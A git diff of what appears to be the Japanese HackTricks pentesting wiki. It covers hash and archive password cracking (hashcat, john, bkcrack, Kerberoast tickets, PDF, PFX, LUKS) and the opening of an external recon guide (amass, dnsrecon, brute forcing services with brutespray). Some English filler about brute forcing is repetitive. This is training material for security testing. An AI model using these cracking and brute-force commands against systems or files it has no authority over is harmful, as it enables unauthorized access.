@ -571,7 +549,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
|||
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
|
||||
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
|
||||
|
||||
ハッシュをブルートフォース攻撃する前に、これをチェックしてください。
|
||||
ハッシュをブルートフォースする前にこれをチェックしてください。
|
||||
|
||||
### ZIP
|
||||
```bash
|
||||
|
@ -591,8 +569,8 @@ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
|||
```
|
||||
#### 既知の平文zip攻撃
|
||||
|
||||
暗号化されたzipファイルの中に含まれるファイルの**平文**(または平文の一部)を知る必要があります。 暗号化されたzipファイルに含まれるファイルの**ファイル名とサイズを確認**するには、次のコマンドを実行します:**`7z l encrypted.zip`**\
|
||||
[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)をリリースページからダウンロードしてください。
|
||||
暗号化されたzipファイルの中に含まれるファイルの**平文(または平文の一部)を知る必要があります。** 暗号化されたzipファイルに含まれるファイルの**ファイル名とサイズを確認するには、**`7z l encrypted.zip`**を実行します。\
|
||||
[**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)をリリースページからダウンロードしてください。
|
||||
```bash
|
||||
# You need to create a zip file containing only the file that is inside the encrypted zip
|
||||
zip plaintext.zip plaintext.file
|
||||
|
@ -606,7 +584,7 @@ unzip unlocked.zip #User new_pwd as password
|
|||
```
|
||||
### 7z
|
||||
|
||||
7zは、ファイルアーカイブと圧縮ユーティリティで、ブルートフォース攻撃の対象となることがあります。ブルートフォース攻撃は、すべての可能なパスワードの組み合わせを試行し、正しいパスワードを見つける手法です。
|
||||
7zは、ファイルアーカイブと圧縮ユーティリティで、ブルートフォース攻撃の対象となることがあります。ブルートフォース攻撃では、すべての可能なパスワードの組み合わせが試されます。
|
||||
```bash
|
||||
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
|
||||
```
|
||||
|
@ -619,28 +597,7 @@ apt-get install libcompress-raw-lzma-perl
|
|||
```
|
||||
### PDF
|
||||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is usually used when the password is unknown and there are no other ways to obtain it. Brute force attacks can be time-consuming but are often effective.
|
||||
|
||||
##### Tools
|
||||
|
||||
- **Hydra**: A popular password-cracking tool that can perform rapid dictionary attacks or brute force attacks.
|
||||
- **John the Ripper**: Another widely used password-cracking tool that can be used for dictionary attacks and brute force attacks.
|
||||
- **Hashcat**: A powerful password-cracking tool that supports multiple hashing algorithms and can be used for brute force attacks.
|
||||
|
||||
##### Techniques
|
||||
|
||||
- **Dictionary Attack**: Involves using a predefined list of words to try as passwords.
|
||||
- **Hybrid Attack**: Combines dictionary words with numbers and symbols to increase the chances of success.
|
||||
- **Mask Attack**: Allows the customization of the brute force attack by specifying the password's format.
|
||||
|
||||
##### Prevention
|
||||
|
||||
- Use complex and unique passwords.
|
||||
- Implement account lockout policies.
|
||||
- Use multi-factor authentication.
|
||||
- Monitor and analyze login attempts for unusual patterns.
|
||||
PDFファイルは、一般的にパスワード保護されており、Brute Force攻撃を使用してアクセスできる可能性があります。Brute Force攻撃は、すべての可能なパスワードの組み合わせを試行し、正しいパスワードを見つける手法です。これにより、PDFファイルのパスワードを解読することができます。
|
||||
```bash
|
||||
apt-get install pdfcrack
|
||||
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
||||
|
@ -651,7 +608,7 @@ qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
|
|||
```
|
||||
### PDFオーナーパスワード
|
||||
|
||||
PDFオーナーパスワードを解読するには、こちらを参照してください: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
||||
PDFオーナーパスワードを解読するには、[こちら](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)を参照してください。
|
||||
|
||||
### JWT
|
||||
```bash
|
||||
|
@ -683,7 +640,7 @@ john --wordlist=/usr/share/wordlists/rockyou.txt hash
|
|||
```
|
||||
### Keberoasting
|
||||
|
||||
Keberoastingは、Active Directoryのサービスアカウントの非対話型攻撃手法です。攻撃者は、Kerberosプロトコルを使用して認証されたサービスアカウントのユーザー名を取得し、そのユーザー名に対して攻撃を行います。攻撃者は、サービスアカウントのKerberosサービスチケットを取得し、そのチケットをオフラインで解読することで、サービスアカウントのパスワードを取得します。
|
||||
Keberoastingは、Active Directoryのユーザーアカウントに対する攻撃手法であり、攻撃者はKerberosサービスチケットを取得し、それをオフラインで解読することで、有効なユーザーアカウントのパスワードを取得します。 Keberoastingは、攻撃者がActive Directory環境内で特権昇格を行うための手段として使用されることがあります。
|
||||
```bash
|
||||
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
||||
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
||||
|
@ -717,7 +674,7 @@ mount /dev/mapper/mylucksopen /mnt
|
|||
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
|
||||
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
|
||||
```
|
||||
### PGP/GPGプライベートキー
|
||||
### PGP/GPGの秘密鍵
|
||||
```bash
|
||||
gpg2john private_pgp.key #This will generate the hash and save it in a file
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
|
||||
|
@ -732,10 +689,10 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
|
|||
|
||||
### Open Office Pwd Protected Column
|
||||
|
||||
パスワードで保護された列を持つxlsxファイルがある場合、それを解除できます:
|
||||
xlsxファイルにパスワードで保護された列がある場合、それを解除できます:
|
||||
|
||||
* **Googleドライブにアップロード**して、パスワードが自動的に削除されます
|
||||
* **手動で**それを**削除するには**:
|
||||
* **Googleドライブにアップロード**してパスワードが自動的に削除されます
|
||||
* **手動で**それを**削除**するには:
|
||||
```bash
|
||||
unzip file.xlsx
|
||||
grep -R "sheetProtection" ./*
|
||||
|
@ -751,10 +708,10 @@ zip -r file.xls .
|
|||
# From https://github.com/crackpkcs12/crackpkcs12
|
||||
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -783,7 +740,7 @@ kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction
|
|||
```
|
||||
### Johnの変異
|
||||
|
||||
_**/etc/john/john.conf**_を読み、それを設定します。
|
||||
_**/etc/john/john.conf**_を読み、それを設定します
|
||||
```bash
|
||||
john --wordlist=words.txt --rules --stdout > w_mutated.txt
|
||||
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
||||
|
@ -794,14 +751,14 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
|||
|
||||
* **ワードリスト攻撃** (`-a 0`) with rules
|
||||
|
||||
**Hashcat**はすでに**ルールを含むフォルダ**が付属していますが、[**こちらで他の興味深いルールを見つけることができます**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules)。
|
||||
**Hashcat** にはすでに**ルールを含むフォルダ**が付属していますが、[**こちらで他の興味深いルールを見つけることができます**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules)。
|
||||
```
|
||||
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
|
||||
```
|
||||
* **ワードリスト組み合わせ**攻撃
|
||||
|
||||
hashcatを使用して、2つのワードリストを1つに**組み合わせる**ことが可能です。\
|
||||
リスト1に単語**"hello"**が含まれ、2番目には単語**"world"**と**"earth"**がそれぞれ2行含まれている場合、`helloworld`と`helloearth`が生成されます。
|
||||
リスト1に単語**"hello"**が含まれ、2つ目には単語**"world"**と**"earth"**がそれぞれ2行含まれている場合、`helloworld`と`helloearth`が生成されます。
|
||||
```bash
|
||||
# This will combine 2 wordlists
|
||||
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
|
||||
|
@ -858,44 +815,58 @@ hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
|||
```
|
||||
## Brute Forcing
|
||||
|
||||
Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. When it comes to cracking Linux hashes from the `/etc/shadow` file, brute forcing is often used to crack weak passwords.
|
||||
Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. When it comes to cracking Linux hashes from the `/etc/shadow` file, brute forcing can be a powerful method if the passwords are not strong enough.
|
||||
|
||||
### Tools for Brute Forcing
|
||||
### Tools
|
||||
|
||||
There are several tools available for brute forcing passwords, such as John the Ripper, Hashcat, and Hydra. These tools can be used to automate the process of trying different password combinations against the hashed passwords in the `/etc/shadow` file.
|
||||
There are various tools available for brute forcing passwords, such as John the Ripper, Hashcat, and Hydra. These tools can be used to automate the process of trying different password combinations against the hashed passwords in the `/etc/shadow` file.
|
||||
|
||||
### Wordlists
|
||||
### Methodology
|
||||
|
||||
In addition to brute forcing, wordlists can also be used to crack passwords. Wordlists contain a list of commonly used passwords, dictionary words, and other character combinations that are often used as passwords. These wordlists can be fed into brute forcing tools to increase the chances of cracking a password.
|
||||
1. **Capture Hashes**: Obtain the hashed passwords from the `/etc/shadow` file on the target Linux system.
|
||||
|
||||
2. **Select Tool**: Choose a suitable password cracking tool based on the type of hashes and the complexity of passwords.
|
||||
|
||||
3. **Configure Tool**: Set up the chosen tool to start the brute force attack. This may involve specifying the hash type, character set, and other parameters.
|
||||
|
||||
4. **Start Brute Forcing**: Initiate the brute force attack using the selected tool and wait for it to find the correct password.
|
||||
|
||||
5. **Password Cracked**: Once the tool successfully cracks the password, the plaintext password will be revealed.
|
||||
|
||||
By following this methodology and using the right tools, you can effectively crack Linux hashes from the `/etc/shadow` file through brute forcing.
|
||||
```
|
||||
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
|
||||
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
|
||||
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
|
||||
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
|
||||
```
|
||||
## Brute Forcing Windows Hashes
|
||||
## Brute-Force
|
||||
|
||||
### Introduction
|
||||
|
||||
When it comes to cracking Windows hashes, one of the most common methods is brute forcing. This technique involves trying all possible combinations of characters until the correct password is found. In this section, we will discuss the steps involved in brute forcing Windows hashes.
|
||||
Brute-force attacks are a common way to crack passwords. They consist of trying all possible combinations of characters until the correct password is found. Brute-force attacks can be time-consuming but are often effective.
|
||||
|
||||
### Tools
|
||||
|
||||
There are several tools available for brute forcing Windows hashes, such as **John the Ripper** and **Hashcat**. These tools are widely used by security professionals and hackers for password cracking.
|
||||
There are several tools available for performing brute-force attacks, such as:
|
||||
|
||||
### Methodology
|
||||
- **John the Ripper**: A popular password-cracking tool that can perform brute-force attacks.
|
||||
- **Hashcat**: Another powerful tool for cracking passwords using brute-force techniques.
|
||||
- **Hydra**: A versatile password-cracking tool that supports multiple protocols for brute-forcing.
|
||||
|
||||
1. **Capture the Hash**: The first step is to obtain the Windows hash that you want to crack. This can be done by extracting the hash from the Windows SAM file or by using tools like **Mimikatz**.
|
||||
### Methodologies
|
||||
|
||||
2. **Choose a Tool**: Select a suitable tool for brute forcing Windows hashes. Configure the tool with the necessary settings, such as character set, password length, and hash algorithm.
|
||||
When performing a brute-force attack, it is essential to consider the following methodologies:
|
||||
|
||||
3. **Start Brute Forcing**: Initiate the brute force attack using the selected tool. The tool will systematically try different combinations of characters until the correct password is discovered.
|
||||
1. **Dictionary Attack**: In this method, a list of commonly used passwords or words from a dictionary is used to crack passwords.
|
||||
2. **Mask Attack**: This method involves creating a mask that represents the password's possible characters and lengths.
|
||||
3. **Hybrid Attack**: A combination of dictionary and brute-force attacks, where common passwords are tried first before moving on to brute-forcing.
|
||||
|
||||
4. **Crack the Hash**: Once the tool successfully cracks the hash, the plaintext password will be revealed. This password can then be used to gain unauthorized access to the Windows system.
|
||||
### Resources
|
||||
|
||||
### Conclusion
|
||||
There are various online resources available for password cracking and brute-force attacks, including:
|
||||
|
||||
Brute forcing Windows hashes is a common and effective method for cracking passwords. By using the right tools and following the proper methodology, security professionals can uncover weak passwords and strengthen the overall security of Windows systems.
|
||||
- **CrackStation**: An online password-cracking tool that supports various hash types.
|
||||
- **Hashes.org**: A database of pre-computed password hashes that can be used for password cracking.
|
||||
- **SecLists**: A collection of wordlists and password dictionaries for use in brute-force attacks.
|
||||
```
|
||||
3000 | LM | Operating-Systems
|
||||
1000 | NTLM | Operating-Systems
|
||||
|
@ -904,16 +875,18 @@ Brute forcing Windows hashes is a common and effective method for cracking passw
|
|||
|
||||
Brute-force attacks are a common method used to crack hashes. This technique involves trying all possible combinations of characters until the correct one is found. Brute-forcing can be time-consuming and resource-intensive, but it is effective against weak passwords. There are tools available that can automate the brute-forcing process, such as John the Ripper and Hashcat.
|
||||
|
||||
### Steps to Brute-Force a Hash:
|
||||
### Brute-Forcing Tools
|
||||
|
||||
1. **Capture the Hash**: Obtain the hash value that you want to crack.
|
||||
2. **Select a Brute-Force Tool**: Choose a suitable tool for the hash type you are trying to crack.
|
||||
3. **Set Up the Tool**: Configure the tool with the necessary parameters, such as character set, minimum and maximum password length, etc.
|
||||
4. **Start the Brute-Force Attack**: Initiate the attack and let the tool try all possible combinations.
|
||||
5. **Wait for Results**: Depending on the complexity of the password, the process may take some time.
|
||||
6. **Verify the Cracked Password**: Once the tool finds a match, verify the cracked password with the original hash value.
|
||||
- **John the Ripper**: A popular password-cracking tool that can perform brute-force attacks on various types of hashes.
|
||||
- **Hashcat**: Another powerful tool for cracking hashes using brute-force and other techniques.
|
||||
|
||||
By following these steps, you can effectively crack common application hashes using brute-force techniques.
|
||||
### Brute-Forcing Strategies
|
||||
|
||||
- **Dictionary Attack**: Involves using a list of commonly used passwords to try and crack the hash.
|
||||
- **Mask Attack**: Allows you to specify the format of the password, reducing the number of possible combinations to try.
|
||||
- **Hybrid Attack**: Combines dictionary words with numbers and symbols to increase the chances of cracking the hash.
|
||||
|
||||
By using these brute-forcing strategies and tools, attackers can increase their chances of successfully cracking common application hashes.
|
||||
```
|
||||
900 | MD4 | Raw Hash
|
||||
0 | MD5 | Raw Hash
|
||||
|
@ -925,22 +898,22 @@ By following these steps, you can effectively crack common application hashes us
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする**
|
||||
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出する
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出**する
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** してください。\
|
||||
今すぐアクセスしてください:
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -10,13 +10,13 @@ HackTricks をサポートする他の方法:
|
|||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする。
|
||||
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味がある方や **解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -34,19 +34,19 @@ HackTricks をサポートする他の方法:
|
|||
### **買収**
|
||||
|
||||
まず最初に、**主要企業が所有する他の企業**を知る必要があります。\
|
||||
1つのオプションは、[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要企業**を**検索**し、**「買収」**を**クリック**することです。そこで、主要企業によって取得された他の企業が表示されます。\
|
||||
もう1つのオプションは、主要企業の**Wikipedia**ページを訪れ、**買収**を検索することです。
|
||||
[https://www.crunchbase.com/](https://www.crunchbase.com)にアクセスし、**主要企業**を検索し、**「acquisitions」**をクリックすると、主要企業が取得した他の企業が表示されます。\
|
||||
他のオプションとしては、主要企業の**Wikipedia**ページを訪れ、**買収**を検索する方法があります。
|
||||
|
||||
> この時点で、対象に含まれるすべての企業を把握するはずです。それらの資産を見つける方法を見つけましょう。
|
||||
> この時点で、対象に含まれるすべての企業を把握しているはずです。それでは、彼らの資産を見つける方法を考えてみましょう。
|
||||
|
||||
### **ASNs**
|
||||
|
||||
自律システム番号(**ASN**)は、**インターネット割り当て番号機関(IANA)**によって**自律システム(AS)**に割り当てられた**一意の番号**です。\
|
||||
**AS**は、外部ネットワークへのアクセスに対する明確に定義されたポリシーを持つ**IPアドレスのブロック**で構成され、単一の組織によって管理されますが、複数のオペレータで構成されている場合があります。
|
||||
|
||||
**企業がどのASNを割り当てられているか**を見つけることは興味深いです。これにより、**IP範囲**を見つけることができます。**スコープ**内のすべての**ホスト**に対して**脆弱性テスト**を実行し、これらのIP内の**ドメイン**を探すことが重要です。\
|
||||
[**https://bgp.he.net/**](https://bgp.he.net)で企業の**名前**、**IP**、または**ドメイン**で検索することができます。\
|
||||
**企業の地域に応じて、これらのリンクはより多くのデータを収集するのに役立つ可能性があります:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)**、[**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)**、[**APNIC**](https://www.apnic.net) **(アジア)**、[**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)**、[**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)**。とにかく、おそらくすべての**有用な情報(IP範囲とWhois)**は最初のリンクに既に表示されています。
|
||||
**企業がどのASNを割り当てられているか**を見つけることは興味深いです。これにより、**IP範囲**を見つけることができます。**スコープ**内のすべての**ホスト**に対して**脆弱性テスト**を実行し、これらのIP内の**ドメイン**を検索することが重要です。\
|
||||
[**https://bgp.he.net/**](https://bgp.he.net)で企業の**名前**、**IP**、または**ドメイン**で検索できます。\
|
||||
**企業の地域に応じて、これらのリンクはより多くのデータを収集するのに役立つ可能性があります:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)**、[**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)**、[**APNIC**](https://www.apnic.net) **(アジア)**、[**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)**、[**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)**。とにかく、おそらくすべての**有用な情報**(IP範囲とWhois)は最初のリンクに既に表示されています。
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
|
@ -69,26 +69,26 @@ bbot -t tesla.com -f subdomain-enum
|
|||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||
|
||||
```
|
||||
組織のIP範囲を見つけることもできます。[http://asnlookup.com/](http://asnlookup.com)(無料APIを利用可能)。\
|
||||
ドメインのIPとASNを見つけるには、[http://ipv4info.com/](http://ipv4info.com)を使用できます。
|
||||
組織のIP範囲を見つけることもできます [http://asnlookup.com/](http://asnlookup.com)(無料APIを提供)。\
|
||||
ドメインのIPとASNを見つけることができます [http://ipv4info.com/](http://ipv4info.com)。
|
||||
|
||||
### **脆弱性を探す**
|
||||
|
||||
この時点で、**スコープ内のすべての資産がわかっている**ので、許可されている場合は、すべてのホストに対して**脆弱性スキャナー**(Nessus、OpenVAS)を実行することができます。\
|
||||
また、[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行したり、shodanのようなサービスを使用して**開いているポートを見つけ、見つけたものに応じて**この書籍を参照して実行されているさまざまなサービスをペンテストする方法を確認することができます。\
|
||||
**また、デフォルトのユーザー名**と**パスワードのリストを用意して、[https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)を使用してサービスをブルートフォースできることも価値があるかもしれません。
|
||||
この時点で、**スコープ内のすべての資産**を把握しているので、許可されている場合は、すべてのホストに対して **脆弱性スキャナー**(Nessus、OpenVAS)を実行することができます。\
|
||||
また、[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行したり、shodan のようなサービスを使用して **開いているポートを見つけ、見つけたものに応じて** この書籍で実行されているさまざまなサービスのペンテスト方法を確認する必要があります。\
|
||||
**また、デフォルトのユーザー名**と**パスワード**のリストを用意して、[https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) を使用してサービスを**ブルートフォース**することもできます。
|
||||
|
||||
## ドメイン
|
||||
|
||||
> スコープ内のすべての企業とその資産がわかっているので、スコープ内のドメインを見つける時が来ました。
|
||||
> スコープ内のすべての企業とその資産を把握しているので、スコープ内のドメインを見つける時が来ました。
|
||||
|
||||
_以下の提案された手法では、サブドメインも見つけることができ、その情報は過小評価されるべきではありません。_
|
||||
_以下の提案された技術を使用すると、サブドメインも見つけることができ、その情報は過小評価されるべきではありません。_
|
||||
|
||||
まず、各企業の**メインドメイン**を探すべきです。例えば、_Tesla Inc._の場合は_tesla.com_になります。
|
||||
まず、各企業の **メインドメイン** を探す必要があります。例えば、_Tesla Inc._ の場合は _tesla.com_ になります。
|
||||
|
||||
### **逆引きDNS**
|
||||
|
||||
ドメインのIP範囲を見つけたので、これらの**IPに逆引きDNSルックアップ**を試みて、スコープ内のさらなるドメインを見つけることができます。被害者のDNSサーバーまたは一般的に知られているDNSサーバー(1.1.1.1、8.8.8.8)を使用してみてください。
|
||||
ドメインのIP範囲を見つけたので、これらのIPに対して **逆引きDNS検索** を試みて、スコープ内のさらなるドメインを見つけることができます。被害者のDNSサーバーまたは一般的に知られているDNSサーバー(1.1.1.1、8.8.8.8)を使用してみてください。
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
|
@ -97,7 +97,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
```
|
||||
### **リバースWhois(ループ)**
|
||||
|
||||
**whois**内には、**組織名**、**住所**、**メールアドレス**、電話番号など、多くの興味深い**情報**が含まれています。しかし、さらに興味深いのは、これらのフィールドのいずれかで**リバースWhois検索を実行すると、会社に関連するさらなる資産を見つける**ことができることです(たとえば、同じメールアドレスが登場する他のwhoisレジストリ)。\
|
||||
**whois**の中には、**組織名**、**住所**、**メールアドレス**、電話番号など、多くの興味深い**情報**が含まれています。しかし、さらに興味深いのは、これらのフィールドのいずれかで**リバースWhois検索を実行すると、会社に関連するさらなる資産を見つける**ことができることです(たとえば、同じメールアドレスが登場する他のwhoisレジストリ)。\
|
||||
以下のようなオンラインツールを使用できます:
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **無料**
|
||||
|
@ -109,14 +109,14 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
* [https://www.domainiq.com/](https://www.domainiq.com) - 有料
|
||||
|
||||
[**DomLink** ](https://github.com/vysecurity/DomLink)を使用してこのタスクを自動化できます(whoxy APIキーが必要です)。\
|
||||
また、[amass](https://github.com/OWASP/Amass)を使用して自動的なリバースWhoisの発見を行うこともできます: `amass intel -d tesla.com -whois`
|
||||
[amass](https://github.com/OWASP/Amass)を使用して自動的なリバースWhoisの発見を行うこともできます: `amass intel -d tesla.com -whois`
|
||||
|
||||
**新しいドメインを見つけるたびに、このテクニックを使用してさらに多くのドメイン名を発見できることに注意してください。**
|
||||
|
||||
### **トラッカー**
|
||||
|
||||
2つの異なるページで**同じトラッカーの同じID**を見つけると、**両方のページ**が**同じチームによって管理されている**と推測できます。\
|
||||
たとえば、複数のページで同じ**Google Analytics ID**や同じ**Adsense ID**を見た場合。
|
||||
たとえば、複数のページで同じ**Google Analytics ID**や同じ**Adsense ID**を見つけた場合。
|
||||
|
||||
これらのトラッカーやその他の情報を検索できるいくつかのページやツールがあります:
|
||||
|
||||
|
@ -128,7 +128,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
|
||||
### **Favicon**
|
||||
|
||||
ターゲットに関連するドメインやサブドメインを見つけるために、同じファビコンアイコンハッシュを検索することができることを知っていましたか?これは、[@m4ll0k2](https://twitter.com/m4ll0k2)によって作成された[favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)ツールが行うことです。以下は、その使用方法です:
|
||||
